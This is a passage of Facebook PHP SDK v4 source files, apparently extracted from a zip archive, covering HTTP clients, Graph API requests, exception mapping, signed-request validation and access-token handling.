$this->responseHttpStatusCode; } /** * Sends a request to the server * * @param string $url The endpoint to send the request to * @param string $method The request method * @param array $parameters The key value pairs to be sent in the body * * @return string Raw response from the server * * @throws \Facebook\FacebookSDKException */ public function send($url, $method = 'GET', $parameters = array()) { $this->openConnection($url, $method, $parameters); $this->tryToSendRequest(); if ($this->curlErrorCode) { throw new FacebookSDKException($this->curlErrorMessage, $this->curlErrorCode); } // Separate the raw headers from the raw body list($rawHeaders, $rawBody) = $this->extractResponseHeadersAndBody(); $this->responseHeaders = self::headersToArray($rawHeaders); $this->closeConnection(); return $rawBody; } /** * Opens a new curl connection * * @param string $url The endpoint to send the request to * @param string $method The request method * @param array $parameters The key value pairs to be sent in the body */ public function openConnection($url, $method = 'GET', array $parameters = array()) { $options = array( CURLOPT_URL => $url, CURLOPT_CONNECTTIMEOUT => 10, CURLOPT_TIMEOUT => 60, CURLOPT_RETURNTRANSFER => true, // Follow 301 redirects CURLOPT_HEADER => true, // Enable header processing CURLOPT_SSL_VERIFYHOST => 2, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_CAINFO => __DIR__ . '/certs/DigiCertHighAssuranceEVRootCA.pem', ); if ($method !== 'GET') { $options[CURLOPT_POSTFIELDS] = !$this->paramsHaveFile($parameters) ? http_build_query($parameters, null, '&') : $parameters; } if ($method === 'DELETE' || $method === 'PUT') { $options[CURLOPT_CUSTOMREQUEST] = $method; } if (count($this->requestHeaders) > 0) { $options[CURLOPT_HTTPHEADER] = $this->compileRequestHeaders(); } if (self::$disableIPv6) { $options[CURLOPT_IPRESOLVE] = CURL_IPRESOLVE_V4; } $this->facebookCurl->init(); $this->facebookCurl->setopt_array($options); } /** * Closes an existing curl connection */ public function closeConnection() { $this->facebookCurl->close(); } /** * Try to send the request */ public function tryToSendRequest() { $this->sendRequest(); $this->curlErrorMessage = $this->facebookCurl->error(); $this->curlErrorCode = $this->facebookCurl->errno(); $this->responseHttpStatusCode = $this->facebookCurl->getinfo(CURLINFO_HTTP_CODE); } /** * Send the request and get the raw response from curl */ public function sendRequest() { $this->rawResponse = $this->facebookCurl->exec(); } /** * Compiles the request headers into a curl-friendly format * * @return array */ public function compileRequestHeaders() { $return = array(); foreach ($this->requestHeaders as $key => $value) { $return[] = $key . ': ' . $value; } return $return; } /** * Extracts the headers and the body into a two-part array * * @return array */ public function extractResponseHeadersAndBody() { $headerSize = self::getHeaderSize(); $rawHeaders = mb_substr($this->rawResponse, 0, $headerSize); $rawBody = mb_substr($this->rawResponse, $headerSize); return array(trim($rawHeaders), trim($rawBody)); } /** * Converts raw header responses into an array * * @param string $rawHeaders * * @return array */ public static function headersToArray($rawHeaders) { $headers = array(); // Normalize line breaks $rawHeaders = str_replace("\r\n", "\n", $rawHeaders); // There will be multiple headers if a 301 was followed // or a proxy was followed, etc $headerCollection = explode("\n\n", trim($rawHeaders)); // We just want the last response (at the end) $rawHeader = array_pop($headerCollection); $headerComponents = explode("\n", $rawHeader); foreach ($headerComponents as $line) { if (strpos($line, ': ') === false) { $headers['http_code'] = $line; } else { list ($key, $value) = explode(': ', $line); $headers[$key] = $value; } } return $headers; } /** * Return proper header size * * @return integer */ private function getHeaderSize() { $headerSize = $this->facebookCurl->getinfo(CURLINFO_HEADER_SIZE); // This corrects a Curl bug where header size does not account // for additional Proxy headers. if ( $this->needsCurlProxyFix() ) { // Additional way to calculate the request body size. if (preg_match('/Content-Length: (\d+)/', $this->rawResponse, $m)) { $headerSize = mb_strlen($this->rawResponse) - $m[1]; } elseif (stripos($this->rawResponse, self::CONNECTION_ESTABLISHED) !== false) { $headerSize += mb_strlen(self::CONNECTION_ESTABLISHED); } } return $headerSize; } /** * Detect versions of Curl which report incorrect header lengths when * using Proxies. * * @return boolean */ private function needsCurlProxyFix() { $ver = $this->facebookCurl->version(); $version = $ver['version_number']; return $version < self::CURL_PROXY_QUIRK_VER; } /** * Detect if the params have a file to upload. * * @param array $params * * @return boolean */ private function paramsHaveFile(array $params) { foreach ($params as $value) { if ($value instanceof \CURLFile) { return true; } } return false; } } PK\ =misc/facebook/sdk/src/Facebook/HttpClients/FacebookStream.phpnu[stream = stream_context_create($options); } /** * The response headers from the stream wrapper * * @return array|null */ public function getResponseHeaders() { return $this->responseHeaders; } /** * Send a stream wrapped request * * @param string $url * * @return mixed */ public function fileGetContents($url) { $rawResponse = file_get_contents($url, false, $this->stream); $this->responseHeaders = $http_response_header; return $rawResponse; } } PK\KrrGmisc/facebook/sdk/src/Facebook/HttpClients/FacebookGuzzleHttpClient.phpnu[requestHeaders[$key] = $value; } /** * The headers returned in the response * * @return array */ public function getResponseHeaders() { return $this->responseHeaders; } /** * The HTTP status response code * * @return int */ public function getResponseHttpStatusCode() { return $this->responseHttpStatusCode; } /** * Sends a request to the server * * @param string $url The endpoint to send the request to * @param string $method The request method * @param array $parameters The key value pairs to be sent in the body * * @return string Raw response from the server * * @throws \Facebook\FacebookSDKException */ public function send($url, $method = 'GET', $parameters = array()) { $options = array(); if ($parameters) { $options = array('body' => $parameters); } $options['verify'] = __DIR__ . '/certs/DigiCertHighAssuranceEVRootCA.pem'; $request = self::$guzzleClient->createRequest($method, $url, $options); foreach($this->requestHeaders as $k => $v) { $request->setHeader($k, $v); } try { $rawResponse = self::$guzzleClient->send($request); } catch (RequestException $e) { if ($e->getPrevious() instanceof AdapterException) { throw new FacebookSDKException($e->getMessage(), $e->getCode()); } $rawResponse = $e->getResponse(); } $this->responseHttpStatusCode = $rawResponse->getStatusCode(); $this->responseHeaders = $rawResponse->getHeaders(); return $rawResponse->getBody(); } } PK\_?misc/facebook/sdk/src/Facebook/HttpClients/FacebookHttpable.phpnu[curl === null) { $this->curl = curl_init(); } } /** * Set a curl option * * @param $key * @param $value */ public function setopt($key, $value) { curl_setopt($this->curl, $key, $value); } /** * Set an array of options to a curl resource * * @param array $options */ public function setopt_array(array $options) { curl_setopt_array($this->curl, $options); } /** * Send a curl request * * @return mixed */ public function exec() { return curl_exec($this->curl); } /** * Return the curl error number * * @return int */ public function errno() { return curl_errno($this->curl); } /** * Return the curl error message * * @return string */ public function error() { return curl_error($this->curl); } /** * Get info from a curl reference * * @param $type * * @return mixed */ public function getinfo($type) { return curl_getinfo($this->curl, $type); } /** * Get the currently installed curl version * * @return array */ public function version() { return curl_version(); } /** * Close the resource connection to curl */ public function close() { curl_close($this->curl); // closed handle has to be initialized again $this->curl = null; } } PK\aQ WWRmisc/facebook/sdk/src/Facebook/HttpClients/certs/DigiCertHighAssuranceEVRootCA.pemnu[-----BEGIN CERTIFICATE----- MIIDxTCCAq2gAwIBAgIQAqxcJmoLQJuPC3nyrkYldzANBgkqhkiG9w0BAQUFADBs MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3 d3cuZGlnaWNlcnQuY29tMSswKQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5j ZSBFViBSb290IENBMB4XDTA2MTExMDAwMDAwMFoXDTMxMTExMDAwMDAwMFowbDEL MAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3 LmRpZ2ljZXJ0LmNvbTErMCkGA1UEAxMiRGlnaUNlcnQgSGlnaCBBc3N1cmFuY2Ug RVYgUm9vdCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMbM5XPm +9S75S0tMqbf5YE/yc0lSbZxKsPVlDRnogocsF9ppkCxxLeyj9CYpKlBWTrT3JTW PNt0OKRKzE0lgvdKpVMSOO7zSW1xkX5jtqumX8OkhPhPYlG++MXs2ziS4wblCJEM xChBVfvLWokVfnHoNb9Ncgk9vjo4UFt3MRuNs8ckRZqnrG0AFFoEt7oT61EKmEFB Ik5lYYeBQVCmeVyJ3hlKV9Uu5l0cUyx+mM0aBhakaHPQNAQTXKFx01p8VdteZOE3 hzBWBOURtCmAEvF5OYiiAhF8J2a3iLd48soKqDirCmTCv2ZdlYTBoSUeh10aUAsg EsxBu24LUTi4S8sCAwEAAaNjMGEwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQF MAMBAf8wHQYDVR0OBBYEFLE+w2kD+L9HAdSYJhoIAu9jZCvDMB8GA1UdIwQYMBaA FLE+w2kD+L9HAdSYJhoIAu9jZCvDMA0GCSqGSIb3DQEBBQUAA4IBAQAcGgaX3Nec nzyIZgYIVyHbIUf4KmeqvxgydkAQV8GK83rZEWWONfqe/EW1ntlMMUu4kehDLI6z eM7b41N5cdblIZQB2lWHmiRk9opmzN6cN82oNLFpmyPInngiK3BD41VHMWEZ71jF hS9OMPagMRYjyOfiZRYzy78aG6A9+MpeizGLYAiJLQwGXFK3xPkKmNEVX58Svnw2 Yzi9RKR/5CYrCsSXaQ3pjOLAEFe4yHYSkVXySGnYvCoCWw9E1CAx2/S6cCZdkGCe vEsXCS+0yx5DaMkHJ8HSXPfqIbloEpw8nL+e/IBcm2PN7EeqJSdnoDfzAIJ9VNep +OkuE6N36B9K -----END CERTIFICATE----- PK\:misc/facebook/sdk/src/Facebook/FacebookClientException.phpnu[ * @author David Poll */ class FacebookCanvasLoginHelper extends FacebookSignedRequestFromInputHelper { /** * Returns the app data value. * * @return mixed|null */ public function getAppData() { return $this->signedRequest ? $this->signedRequest->get('app_data') : null; } /** * Get raw signed request from POST. * * @return string|null */ public function getRawSignedRequest() { $rawSignedRequest = $this->getRawSignedRequestFromPost(); if ($rawSignedRequest) { return $rawSignedRequest; } return null; } } PK\o0 3misc/facebook/sdk/src/Facebook/GraphSessionInfo.phpnu[ * @author David Poll */ class GraphSessionInfo extends GraphObject { /** * Returns the application id the token was issued for. * * @return string|null */ public function getAppId() { return $this->getProperty('app_id'); } /** * Returns the application name the token was issued for. * * @return string|null */ public function getApplication() { return $this->getProperty('application'); } /** * Returns the date & time that the token expires. * * @return \DateTime|null */ public function getExpiresAt() { $stamp = $this->getProperty('expires_at'); if ($stamp) { return (new \DateTime())->setTimestamp($stamp); } else { return null; } } /** * Returns whether the token is valid. * * @return boolean */ public function isValid() { return $this->getProperty('is_valid'); } /** * Returns the date & time the token was issued at. * * @return \DateTime|null */ public function getIssuedAt() { $stamp = $this->getProperty('issued_at'); if ($stamp) { return (new \DateTime())->setTimestamp($stamp); } else { return null; } } /** * Returns the scope permissions associated with the token. * * @return array */ public function getScopes() { return $this->getPropertyAsArray('scopes'); } /** * Returns the login id of the user associated with the token. * * @return string|null */ public function getId() { return $this->getProperty('user_id'); } }PK\ix.2misc/facebook/sdk/src/Facebook/FacebookRequest.phpnu[ * @author David Poll */ class FacebookRequest { /** * @const string Version number of the Facebook PHP SDK. */ const VERSION = '4.0.23'; /** * @const string Default Graph API version for requests */ const GRAPH_API_VERSION = 'v2.3'; /** * @const string Graph API URL */ const BASE_GRAPH_URL = 'https://graph.facebook.com'; /** * @const string Graph API URL */ const BASE_VIDEO_GRAPH_URL = 'https://graph-video.facebook.com'; /** * @var FacebookSession The session used for this request */ private $session; /** * @var string The HTTP method for the request */ private $method; /** * @var string The path for the request */ private $path; /** * @var array The parameters for the request */ private $params; /** * @var string The Graph API version for the request */ private $version; /** * @var string ETag sent with the request */ private $etag; /** * @var FacebookHttpable HTTP client handler */ private static $httpClientHandler; /** * @var int The number of calls that have been made to Graph. */ public static $requestCount = 0; /** * getSession - Returns the associated FacebookSession. * * @return FacebookSession */ public function getSession() { return $this->session; } /** * getPath - Returns the associated path. * * @return string */ public function getPath() { return $this->path; } /** * getParameters - Returns the associated parameters. * * @return array */ public function getParameters() { return $this->params; } /** * getMethod - Returns the associated method. * * @return string */ public function getMethod() { return $this->method; } /** * getETag - Returns the ETag sent with the request. * * @return string */ public function getETag() { return $this->etag; } /** * setHttpClientHandler - Returns an instance of the HTTP client * handler * * @param \Facebook\HttpClients\FacebookHttpable */ public static function setHttpClientHandler(FacebookHttpable $handler) { static::$httpClientHandler = $handler; } /** * getHttpClientHandler - Returns an instance of the HTTP client * data handler * * @return FacebookHttpable */ public static function getHttpClientHandler() { if (static::$httpClientHandler) { return static::$httpClientHandler; } return function_exists('curl_init') ? new FacebookCurlHttpClient() : new FacebookStreamHttpClient(); } /** * FacebookRequest - Returns a new request using the given session. optional * parameters hash will be sent with the request. This object is * immutable. * * @param FacebookSession $session * @param string $method * @param string $path * @param array|null $parameters * @param string|null $version * @param string|null $etag */ public function __construct( FacebookSession $session, $method, $path, $parameters = null, $version = null, $etag = null ) { $this->session = $session; $this->method = $method; $this->path = $path; if ($version) { $this->version = $version; } else { $this->version = static::GRAPH_API_VERSION; } $this->etag = $etag; $params = ($parameters ?: array()); if ($session && ! isset($params['access_token'])) { $params['access_token'] = $session->getToken(); } if (! isset($params['appsecret_proof']) && FacebookSession::useAppSecretProof()) { $params['appsecret_proof'] = $this->getAppSecretProof( $params['access_token'] ); } $this->params = $params; } /** * Returns the base Graph URL. * * @return string */ protected function getRequestURL() { $pathElements = explode('/', $this->path); $lastInPath = end($pathElements); if ($lastInPath == 'videos' && $this->method === 'POST') { $baseUrl = static::BASE_VIDEO_GRAPH_URL; } else { $baseUrl = static::BASE_GRAPH_URL; } return $baseUrl . '/' . $this->version . $this->path; } /** * execute - Makes the request to Facebook and returns the result. * * @return FacebookResponse * * @throws FacebookSDKException * @throws FacebookRequestException */ public function execute() { $url = $this->getRequestURL(); $params = $this->getParameters(); if ($this->method === 'GET') { $url = self::appendParamsToUrl($url, $params); $params = array(); } $connection = self::getHttpClientHandler(); $connection->addRequestHeader('User-Agent', 'fb-php-' . self::VERSION); $connection->addRequestHeader('Accept-Encoding', '*'); // Support all available encodings. // ETag if (null !== $this->etag) { $connection->addRequestHeader('If-None-Match', $this->etag); } // Should throw `FacebookSDKException` exception on HTTP client error. // Don't catch to allow it to bubble up. $result = $connection->send($url, $this->method, $params); static::$requestCount++; $etagHit = 304 === $connection->getResponseHttpStatusCode(); $headers = $connection->getResponseHeaders(); $etagReceived = isset($headers['ETag']) ? $headers['ETag'] : null; $decodedResult = json_decode($result); if ($decodedResult === null) { $out = array(); parse_str($result, $out); return new FacebookResponse($this, $out, $result, $etagHit, $etagReceived); } if (isset($decodedResult->error)) { throw FacebookRequestException::create( $result, $decodedResult->error, $connection->getResponseHttpStatusCode() ); } return new FacebookResponse($this, $decodedResult, $result, $etagHit, $etagReceived); } /** * Generate and return the appsecret_proof value for an access_token * * @param string $token * * @return string */ public function getAppSecretProof($token) { return hash_hmac('sha256', $token, FacebookSession::_getTargetAppSecret()); } /** * appendParamsToUrl - Gracefully appends params to the URL. * * @param string $url * @param array $params * * @return string */ public static function appendParamsToUrl($url, array $params = array()) { if (!$params) { return $url; } if (strpos($url, '?') === false) { return $url . '?' . http_build_query($params, null, '&'); } list($path, $query_string) = explode('?', $url, 2); parse_str($query_string, $query_array); // Favor params from the original URL over $params $params = array_merge($params, $query_array); return $path . '?' . http_build_query($params, null, '&'); } } PK\Jjo,misc/facebook/sdk/src/Facebook/GraphPage.phpnu[ */ class GraphPage extends GraphObject { /** * Returns the ID for the user's page as a string if present. * * @return string|null */ public function getId() { return $this->getProperty('id'); } /** * Returns the Category for the user's page as a string if present. * * @return string|null */ public function getCategory() { return $this->getProperty('category'); } /** * Returns the Name of the user's page as a string if present. * * @return string|null */ public function getName() { return $this->getProperty('name'); } }PK\hqr;misc/facebook/sdk/src/Facebook/FacebookRequestException.phpnu[ * @author David Poll */ class FacebookRequestException extends FacebookSDKException { /** * @var int Status code for the response causing the exception */ private $statusCode; /** * @var string Raw response */ private $rawResponse; /** * @var array Decoded response */ private $responseData; /** * Creates a FacebookRequestException. * * @param string $rawResponse The raw response from the Graph API * @param array $responseData The decoded response from the Graph API * @param int $statusCode */ public function __construct($rawResponse, $responseData, $statusCode) { $this->rawResponse = $rawResponse; $this->statusCode = $statusCode; $this->responseData = self::convertToArray($responseData); parent::__construct( $this->get('message', 'Unknown Exception'), $this->get('code', -1), null ); } /** * Process an error payload from the Graph API and return the appropriate * exception subclass. * * @param string $raw the raw response from the Graph API * @param array $data the decoded response from the Graph API * @param int $statusCode the HTTP response code * * @return FacebookRequestException */ public static function create($raw, $data, $statusCode) { $data = self::convertToArray($data); if (!isset($data['error']['code']) && isset($data['code'])) { $data = array('error' => $data); } $code = (isset($data['error']['code']) ? (int) $data['error']['code'] : null); if (isset($data['error']['error_subcode'])) { switch ($data['error']['error_subcode']) { // Other authentication issues case 458: case 459: case 460: case 463: case 464: case 467: return new FacebookAuthorizationException($raw, $data, $statusCode); break; } } switch ($code) { // Login status or token expired, revoked, or invalid case 100: case 102: case 190: return new FacebookAuthorizationException($raw, $data, $statusCode); break; // Server issue, possible downtime case 1: case 2: return new FacebookServerException($raw, $data, $statusCode); break; // API Throttling case 4: case 17: case 341: return new FacebookThrottleException($raw, $data, $statusCode); break; // Duplicate Post case 506: return new FacebookClientException($raw, $data, $statusCode); break; } // Missing Permissions if ($code === 10 || ($code >= 200 && $code <= 299)) { return new FacebookPermissionException($raw, $data, $statusCode); } // OAuth authentication error if (isset($data['error']['type']) and $data['error']['type'] === 'OAuthException') { return new FacebookAuthorizationException($raw, $data, $statusCode); } // All others return new FacebookOtherException($raw, $data, $statusCode); } /** * Checks isset and returns that or a default value. * * @param string $key * @param mixed $default * * @return mixed */ private function get($key, $default = null) { if (isset($this->responseData['error'][$key])) { return $this->responseData['error'][$key]; } return $default; } /** * Returns the HTTP status code * * @return int */ public function getHttpStatusCode() { return $this->statusCode; } /** * Returns the sub-error code * * @return int */ public function getSubErrorCode() { return $this->get('error_subcode', -1); } /** * Returns the error type * * @return string */ public function getErrorType() { return $this->get('type', ''); } /** * Returns the raw response used to create the exception. * * @return string */ public function getRawResponse() { return $this->rawResponse; } /** * Returns the decoded response used to create the exception. * * @return array */ public function getResponse() { return $this->responseData; } /** * Converts a stdClass object to an array * * @param mixed $object * * @return array */ private static function convertToArray($object) { if ($object instanceof \stdClass) { return get_object_vars($object); } return $object; } }PK\\@misc/facebook/sdk/src/Facebook/FacebookJavaScriptLoginHelper.phpnu[ * @author David Poll */ class FacebookJavaScriptLoginHelper extends FacebookSignedRequestFromInputHelper { /** * Get raw signed request from the cookie. * * @return string|null */ public function getRawSignedRequest() { return $this->getRawSignedRequestFromCookie(); } } PK\1on  6misc/facebook/sdk/src/Facebook/FacebookPermissions.phpnu[rawSignedRequest = $rawSignedRequest; $this->payload = static::parse($rawSignedRequest, $state, $appSecret); } /** * Returns the raw signed request data. * * @return string|null */ public function getRawSignedRequest() { return $this->rawSignedRequest; } /** * Returns the parsed signed request data. * * @return array|null */ public function getPayload() { return $this->payload; } /** * Returns a property from the signed request data if available. * * @param string $key * @param mixed|null $default * * @return mixed|null */ public function get($key, $default = null) { if (isset($this->payload[$key])) { return $this->payload[$key]; } return $default; } /** * Returns user_id from signed request data if available. * * @return string|null */ public function getUserId() { return $this->get('user_id'); } /** * Checks for OAuth data in the payload. * * @return boolean */ public function hasOAuthData() { return isset($this->payload['oauth_token']) || isset($this->payload['code']); } /** * Creates a signed request from an array of data. * * @param array $payload * @param string|null $appSecret * * @return string */ public static function make(array $payload, $appSecret = null) { $payload['algorithm'] = 'HMAC-SHA256'; $payload['issued_at'] = time(); $encodedPayload = static::base64UrlEncode(json_encode($payload)); $hashedSig = static::hashSignature($encodedPayload, $appSecret); $encodedSig = static::base64UrlEncode($hashedSig); return $encodedSig.'.'.$encodedPayload; } /** * Validates and decodes a signed request and returns * the payload as an array. * * @param string $signedRequest * @param string|null $state * @param string|null $appSecret * * @return array */ public static function parse($signedRequest, $state = null, $appSecret = null) { list($encodedSig, $encodedPayload) = static::split($signedRequest); // Signature validation $sig = static::decodeSignature($encodedSig); $hashedSig = static::hashSignature($encodedPayload, $appSecret); static::validateSignature($hashedSig, $sig); // Payload validation $data = static::decodePayload($encodedPayload); static::validateAlgorithm($data); if ($state) { static::validateCsrf($data, $state); } return $data; } /** * Validates the format of a signed request. * * @param string $signedRequest * * @throws FacebookSDKException */ public static function validateFormat($signedRequest) { if (strpos($signedRequest, '.') !== false) { return; } throw new FacebookSDKException( 'Malformed signed request.', 606 ); } /** * Decodes a raw valid signed request. * * @param string $signedRequest * * @returns array */ public static function split($signedRequest) { static::validateFormat($signedRequest); return explode('.', $signedRequest, 2); } /** * Decodes the raw signature from a signed request. * * @param string $encodedSig * * @returns string * * @throws FacebookSDKException */ public static function decodeSignature($encodedSig) { $sig = static::base64UrlDecode($encodedSig); if ($sig) { return $sig; } throw new FacebookSDKException( 'Signed request has malformed encoded signature data.', 607 ); } /** * Decodes the raw payload from a signed request. * * @param string $encodedPayload * * @returns array * * @throws FacebookSDKException */ public static function decodePayload($encodedPayload) { $payload = static::base64UrlDecode($encodedPayload); if ($payload) { $payload = json_decode($payload, true); } if (is_array($payload)) { return $payload; } throw new FacebookSDKException( 'Signed request has malformed encoded payload data.', 607 ); } /** * Validates the algorithm used in a signed request. * * @param array $data * * @throws FacebookSDKException */ public static function validateAlgorithm(array $data) { if (isset($data['algorithm']) && $data['algorithm'] === 'HMAC-SHA256') { return; } throw new FacebookSDKException( 'Signed request is using the wrong algorithm.', 605 ); } /** * Hashes the signature used in a signed request. * * @param string $encodedData * @param string|null $appSecret * * @return string * * @throws FacebookSDKException */ public static function hashSignature($encodedData, $appSecret = null) { $hashedSig = hash_hmac( 'sha256', $encodedData, FacebookSession::_getTargetAppSecret($appSecret), $raw_output = true ); if ($hashedSig) { return $hashedSig; } throw new FacebookSDKException( 'Unable to hash signature from encoded payload data.', 602 ); } /** * Validates the signature used in a signed request. * * @param string $hashedSig * @param string $sig * * @throws FacebookSDKException */ public static function validateSignature($hashedSig, $sig) { $intSignatureLength = mb_strlen($sig); if (mb_strlen($hashedSig) === $intSignatureLength) { $validate = 0; for ($i = 0; $i < $intSignatureLength; $i++) { $validate |= ord($hashedSig[$i]) ^ ord($sig[$i]); } if ($validate === 0) { return; } } throw new FacebookSDKException( 'Signed request has an invalid signature.', 602 ); } /** * Validates a signed request against CSRF. * * @param array $data * @param string $state * * @throws FacebookSDKException */ public static function validateCsrf(array $data, $state) { if (isset($data['state'])) { $savedLen = strlen($state); $givenLen = strlen($data['state']); if ($savedLen == $givenLen) { $result = 0; for ($i = 0; $i < $savedLen; $i++) { $result |= ord($state[$i]) ^ ord($data['state'][$i]); } if ($result === 0) { return; } } } throw new FacebookSDKException( 'Signed request did not pass CSRF validation.', 604 ); } /** * Base64 decoding which replaces characters: * + instead of - * / instead of _ * @link http://en.wikipedia.org/wiki/Base64#URL_applications * * @param string $input base64 url encoded input * * @return string decoded string */ public static function base64UrlDecode($input) { $urlDecodedBase64 = strtr($input, '-_', '+/'); static::validateBase64($urlDecodedBase64); return base64_decode($urlDecodedBase64); } /** * Base64 encoding which replaces characters: * + instead of - * / instead of _ * @link http://en.wikipedia.org/wiki/Base64#URL_applications * * @param string $input string to encode * * @return string base64 url encoded input */ public static function base64UrlEncode($input) { return strtr(base64_encode($input), '+/', '-_'); } /** * Validates a base64 string. * * @param string $input base64 value to validate * * @throws FacebookSDKException */ public static function validateBase64($input) { $pattern = '/^[a-zA-Z0-9\/\r\n+]*={0,2}$/'; if (preg_match($pattern, $input)) { return; } throw new FacebookSDKException( 'Signed request contains malformed base64 encoding.', 608 ); } } PK\;q&&7misc/facebook/sdk/src/Facebook/Entities/AccessToken.phpnu[accessToken = $accessToken; if ($expiresAt) { $this->setExpiresAtFromTimeStamp($expiresAt); } $this->machineId = $machineId; } /** * Setter for expires_at. * * @param int $timeStamp */ protected function setExpiresAtFromTimeStamp($timeStamp) { $dt = new \DateTime(); $dt->setTimestamp($timeStamp); $this->expiresAt = $dt; } /** * Getter for expiresAt. * * @return \DateTime|null */ public function getExpiresAt() { return $this->expiresAt; } /** * Getter for machineId. * * @return string|null */ public function getMachineId() { return $this->machineId; } /** * Determines whether or not this is a long-lived token. * * @return bool */ public function isLongLived() { if ($this->expiresAt) { return $this->expiresAt->getTimestamp() > time() + (60 * 60 * 2); } return false; } /** * Checks the validity of the access token. * * @param string|null $appId Application ID to use * @param string|null $appSecret App secret value to use * @param string|null $machineId * * @return boolean */ public function isValid($appId = null, $appSecret = null, $machineId = null) { $accessTokenInfo = $this->getInfo($appId, $appSecret); $machineId = $machineId ?: $this->machineId; return static::validateAccessToken($accessTokenInfo, $appId, $machineId); } /** * Ensures the provided GraphSessionInfo object is valid, * throwing an exception if not. Ensures the appId matches, * that the machineId matches if it's being used, * that the token is valid and has not expired. * * @param GraphSessionInfo $tokenInfo * @param string|null $appId Application ID to use * @param string|null $machineId * * @return boolean */ public static function validateAccessToken(GraphSessionInfo $tokenInfo, $appId = null, $machineId = null) { $targetAppId = FacebookSession::_getTargetAppId($appId); $appIdIsValid = $tokenInfo->getAppId() == $targetAppId; $machineIdIsValid = $tokenInfo->getProperty('machine_id') == $machineId; $accessTokenIsValid = $tokenInfo->isValid(); $accessTokenIsStillAlive = true; // Not all access tokens return an expiration. E.g. an app access token. if ($tokenInfo->getExpiresAt() instanceof \DateTime) { $accessTokenIsStillAlive = $tokenInfo->getExpiresAt()->getTimestamp() >= time(); } return $appIdIsValid && $machineIdIsValid && $accessTokenIsValid && $accessTokenIsStillAlive; } /** * Get a valid access token from a code. * * @param string $code * @param string|null $appId * @param string|null $appSecret * @param string|null $machineId * * @return AccessToken */ public static function getAccessTokenFromCode($code, $appId = null, $appSecret = null, $machineId = null) { $params = array( 'code' => $code, 'redirect_uri' => '', ); if ($machineId) { $params['machine_id'] = $machineId; } return static::requestAccessToken($params, $appId, $appSecret); } /** * Get a valid code from an access token. * * @param AccessToken|string $accessToken * @param string|null $appId * @param string|null $appSecret * * @return AccessToken */ public static function getCodeFromAccessToken($accessToken, $appId = null, $appSecret = null) { $accessToken = (string) $accessToken; $params = array( 'access_token' => $accessToken, 'redirect_uri' => '', ); return static::requestCode($params, $appId, $appSecret); } /** * Exchanges a short lived access token with a long lived access token. * * @param string|null $appId * @param string|null $appSecret * * @return AccessToken */ public function extend($appId = null, $appSecret = null) { $params = array( 'grant_type' => 'fb_exchange_token', 'fb_exchange_token' => $this->accessToken, ); return static::requestAccessToken($params, $appId, $appSecret); } /** * Request an access token based on a set of params. * * @param array $params * @param string|null $appId * @param string|null $appSecret * * @return AccessToken * * @throws FacebookRequestException */ public static function requestAccessToken(array $params, $appId = null, $appSecret = null) { $response = static::request('/oauth/access_token', $params, $appId, $appSecret); $data = $response->getResponse(); /** * @TODO fix this malarkey - getResponse() should always return an object * @see https://github.com/facebook/facebook-php-sdk-v4/issues/36 */ if (is_array($data)) { if (isset($data['access_token'])) { $expiresAt = isset($data['expires']) ? time() + $data['expires'] : 0; return new static($data['access_token'], $expiresAt); } } elseif($data instanceof \stdClass) { if (isset($data->access_token)) { $expiresAt = isset($data->expires_in) ? time() + $data->expires_in : 0; $machineId = isset($data->machine_id) ? (string) $data->machine_id : null; return new static((string) $data->access_token, $expiresAt, $machineId); } } throw FacebookRequestException::create( $response->getRawResponse(), $data, 401 ); } /** * Request a code from a long lived access token. * * @param array $params * @param string|null $appId * @param string|null $appSecret * * @return string * * @throws FacebookRequestException */ public static function requestCode(array $params, $appId = null, $appSecret = null) { $response = static::request('/oauth/client_code', $params, $appId, $appSecret); $data = $response->getResponse(); if (isset($data->code)) { return (string) $data->code; } throw FacebookRequestException::create( $response->getRawResponse(), $data, 401 ); } /** * Send a request to Graph with an app access token. * * @param string $endpoint * @param array $params * @param string|null $appId * @param string|null $appSecret * * @return \Facebook\FacebookResponse * * @throws FacebookRequestException */ protected static function request($endpoint, array $params, $appId = null, $appSecret = null) { $targetAppId = FacebookSession::_getTargetAppId($appId); $targetAppSecret = FacebookSession::_getTargetAppSecret($appSecret); if (!isset($params['client_id'])) { $params['client_id'] = $targetAppId; } if (!isset($params['client_secret'])) { $params['client_secret'] = $targetAppSecret; } // The response for this endpoint is not JSON, so it must be handled // differently, not as a GraphObject. $request = new FacebookRequest( FacebookSession::newAppSession($targetAppId, $targetAppSecret), 'GET', $endpoint, $params ); return $request->execute(); } /** * Get more info about an access token. * * @param string|null $appId * @param string|null $appSecret * * @return GraphSessionInfo */ public function getInfo($appId = null, $appSecret = null) { $params = array('input_token' => $this->accessToken); $request = new FacebookRequest( FacebookSession::newAppSession($appId, $appSecret), 'GET', '/debug_token', $params ); $response = $request->execute()->getGraphObject(GraphSessionInfo::className()); // Update the data on this token if ($response->getExpiresAt()) { $this->expiresAt = $response->getExpiresAt(); } return $response; } /** * Returns the access token as a string. * * @return string */ public function __toString() { return $this->accessToken; } /** * Returns true if the access token is an app session token. * * @return bool */ public function isAppSession() { return strpos($this->accessToken, '|') !== false; } } PK\g>misc/facebook/sdk/src/Facebook/FacebookPermissionException.phpnu[ * @author David Poll */ class FacebookSession { /** * @var string */ private static $defaultAppId; /** * @var string */ private static $defaultAppSecret; /** * @var AccessToken The AccessToken entity for this connection. */ private $accessToken; /** * @var SignedRequest */ private $signedRequest; /** * @var bool */ protected static $useAppSecretProof = true; /** * When creating a Session from an access_token, use: * var $session = new FacebookSession($accessToken); * This will validate the token and provide a Session object ready for use. * It will throw a SessionException in case of error. * * @param AccessToken|string $accessToken * @param SignedRequest $signedRequest The SignedRequest entity */ public function __construct($accessToken, SignedRequest $signedRequest = null) { $this->accessToken = $accessToken instanceof AccessToken ? $accessToken : new AccessToken($accessToken); $this->signedRequest = $signedRequest; } /** * Returns the access token. * * @return string */ public function getToken() { return (string) $this->accessToken; } /** * Returns the access token entity. * * @return AccessToken */ public function getAccessToken() { return $this->accessToken; } /** * Returns the SignedRequest entity. * * @return SignedRequest */ public function getSignedRequest() { return $this->signedRequest; } /** * Returns the signed request payload. * * @return null|array */ public function getSignedRequestData() { return $this->signedRequest ? 